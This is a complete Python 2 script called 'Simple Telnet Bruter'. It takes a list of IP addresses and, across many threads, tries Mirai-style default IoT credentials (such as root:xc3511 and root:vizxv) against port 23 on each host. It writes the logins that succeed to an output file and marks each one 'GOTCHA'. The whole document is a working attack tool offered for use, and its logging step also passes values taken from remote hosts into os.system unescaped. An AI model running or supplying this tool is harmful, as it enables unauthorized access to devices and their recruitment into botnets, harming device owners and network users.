Simple Telnet Bruter

#!/usr/bin/python
# Simple Telnet Bruter | By; LiGhT
# Lots of false possitives but pulls alot of results extremely fast

import threading
import sys, os, re, time, socket
from Queue import *
from sys import stdout

if len(sys.argv) < 4:
    print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
    sys.exit()

combo = [
    "support:support",
    "root:vizxv",
    "root:xc3511",
    "telnet:telnet",
    "root:root",
    "supervisor:zyad1234",
    "root: ",
    "admin:1234",
    "user:user",
    "root:antslq",
    "admin:admin",
    "root:5up"
]

ips = open(sys.argv[1], "r").readlines()
threads = int(sys.argv[2])
output_file = sys.argv[3]
queue = Queue()
queue_count = 0

for ip in ips:
    queue_count += 1
    stdout.write("\r[%d] Added to queue" % queue_count)
    stdout.flush()
    queue.put(ip)
print "\n"


class router(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        username = ""
        password = ""
        for passwd in combo:
            if ":n/a" in passwd:
                password=""
            else:
                password=passwd.split(":")[1]
            if "n/a:" in passwd:
                username=""
            else:
                username=passwd.split(":")[0]
            try:
                tn = socket.socket()
                tn.settimeout(8)
                tn.connect((self.ip,23))
            except Exception:
                tn.close()
                break
            try:
                hoho = ''
                hoho += readUntil(tn, "ogin:")
                if "ogin" in hoho:
                    tn.send(username + "\n")
                    time.sleep(0.09)
            except Exception:
                tn.close()
            try:
                hoho = ''
                hoho += readUntil(tn, "assword:")
                if "assword" in hoho:
                    tn.send(password + "\n")
                    time.sleep(0.8)
                else:
                    pass
            except Exception:
                tn.close()
            try:
                prompt = ''
                prompt += tn.recv(40960)
                if ">" in prompt and "ONT" not in prompt:
                    success = True
                elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
                    success = True
                else:
                    tn.close()
                if success == True:
                    try:
                        os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
                        print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
                        tn.close()
                        break
                    except:
                        tn.close()
                else:
                    tn.close()
            except Exception:
                tn.close()

def readUntil(tn, string, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.01)
        if string in buf: return buf
    raise Exception('TIMEOUT!')

def worker():
    try:
        while True:
            try:
                IP = queue.get()
                thread = router(IP)
                thread.start()
                queue.task_done()
                time.sleep(0.02)
            except:
                pass
    except:
        pass

for l in xrange(threads):
    try:
        t = threading.Thread(target=worker)
        t.start()
    except:
        pass